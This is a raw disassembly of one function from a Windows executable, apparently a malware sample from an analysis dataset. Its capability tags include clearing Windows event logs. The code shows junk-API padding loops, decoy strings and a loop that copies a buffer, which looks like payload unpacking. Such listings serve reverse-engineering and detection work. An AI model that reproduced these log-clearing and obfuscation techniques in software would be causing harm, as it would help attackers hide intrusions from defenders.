Function at 0x415b60
Capabilities:
Access the windows event log
Clear windows event logs
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1578
call fcn.004072f0
mov eax, dword [0x419008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
jmp 0x415b90
cmp dword [0x2b18ce4], 0x7d
jne 0x415b9f
push 0
push 0
call ebx
cmp esi, 0x4e5
jne 0x415bb6
mov eax, dword [0x41a268]
add eax, 0x9e49
mov dword [0x2b18ce4], eax
cmp dword [0x2b18ce4], 0xbcf
jne 0x415bd8
call edi
mov dword [0x41ad58], 0xec58ac98
mov dword [0x41ad5c], 0xffffffff
inc esi
cmp esi, 0x114aff4
jl 0x415b90
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
xor esi, esi
lea esp, [esp]
cmp esi, 0x56051f
jne 0x415c04
mov ecx, dword [0x419c58]
mov dword [0x2b18e14], ecx
cmp dword [0x2b18ce4], 0x3c
jne 0x415c11
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x415bf0
cmp dword [0x2b18ce4], 0x7c
jne 0x415d50
push 0
push 0
lea edx, [ebp - 0x1574]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
xor esi, esi
push esi
lea eax, [ebp - 0x1570]
push eax
push esi
lea ecx, [ebp - 0x1004]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [ebp - 0x1578]
push edx
lea eax, [ebp - 0x804]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push 0x2e
lea ecx, [ebp - 0x1434]
push esi
push ecx
mov dword [ebp - 0x1438], esi
call fcn.00404f10
add esp, 0xc
push esi
lea edx, [ebp - 0x1438]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [ebp - 0x154c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea ecx, [ebp - 0x155c]
push ecx
mov dword [ebp - 0x155c], esi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [ebp - 0x1556], ax
xor ecx, ecx
mov word [ebp - 0x154e], dx
lea eax, [ebp - 0x1564]
push eax
mov word [ebp - 0x1550], cx
mov ecx, dword [ebp - 0x1550]
push ecx
mov word [ebp - 0x1558], dx
mov edx, dword [ebp - 0x1558]
push edx
lea eax, [ebp - 0x1554]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
lea ecx, [ebp - 0x1404]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea edx, [ebp - 0xc04]
push edx
push esi
push str.xohejocumosinunosihiwimomejebuz_jafabulad
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
cmp dword [0x2b18ce4], 0x2d
jne 0x415d41
push esi
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push esi
call fcn.00401168
push esi
call fcn.0040117e
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, edi
push 0
push 0
call edi
call ebx
cmp esi, 0x24b33
jg 0x415d79
inc esi
cmp esi, 0xeae9f
jl 0x415d60
cmp dword [0x2b18ce4], 0x2a
jne 0x415e46
xor esi, esi
push esi
mov dword [0x2b18cd8], esi
mov dword [0x2b18cdc], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
lea eax, [ebp - 0x1550]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push esi
xor eax, eax
lea edx, [ebp - 0x804]
push edx
push str.sovokosutuxanerisewugajuzinudu
mov dword [ebp - 0x156a], eax
mov dword [ebp - 0x1566], eax
mov dword [ebp - 0x1562], eax
mov word [ebp - 0x155e], ax
lea eax, [ebp - 0x156c]
push eax
push esi
xor ecx, ecx
push esi
mov word [ebp - 0x156c], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
lea ecx, [ebp - 0x1554]
push ecx
push str.texosimusi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040109e
push esi
call fcn.0040109e
push esi
push esi
call fcn.0040100f
push esi
push esi
call fcn.0040100f
push esi
push esi
push esi
push esi
call fcn.004013b5
add esp, 0x30
push esi
call fcn.004016a5
call fcn.004157b0
mov ecx, dword [0x2b18ce4]
xor eax, eax
test ecx, ecx
jbe 0x415e8d
mov edi, dword [0x2b18e14]
mov esi, dword [0x2b18b2c]
mov edx, 0x17bc
jmp 0x415e70
mov bl, byte [edi + eax + 0x9e49]
mov byte [eax + esi], bl
cmp ecx, 0x8d
jne 0x415e88
mov dword [0x2b18b30], edx
inc eax
cmp eax, ecx
jb 0x415e70
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.004157e0
call fcn.00415ad0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
cmp dword [0x2b18ce4], 0x41
jne 0x415ec3
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x415ed0
call fcn.004157d0
cmp dword [0x2b18ce4], 0xc
jne 0x415ee6
lea edx, [ebp - 0x1554]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x24e87d
jl 0x415eb0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
nop
cmp dword [0x2b18ce4], 0x7c4
mov dword [0x2b18b34], edi
jne 0x415f19
push str.wobuzanetudugeru
call esi
sub ebx, 1
jne 0x415f00
mov ecx, dword [ebp - 0x1428]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x415f3f
cmp ecx, 0xf5bed7
jne 0x415f47
inc eax
cmp eax, 0x687ed2
jl 0x415f30
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret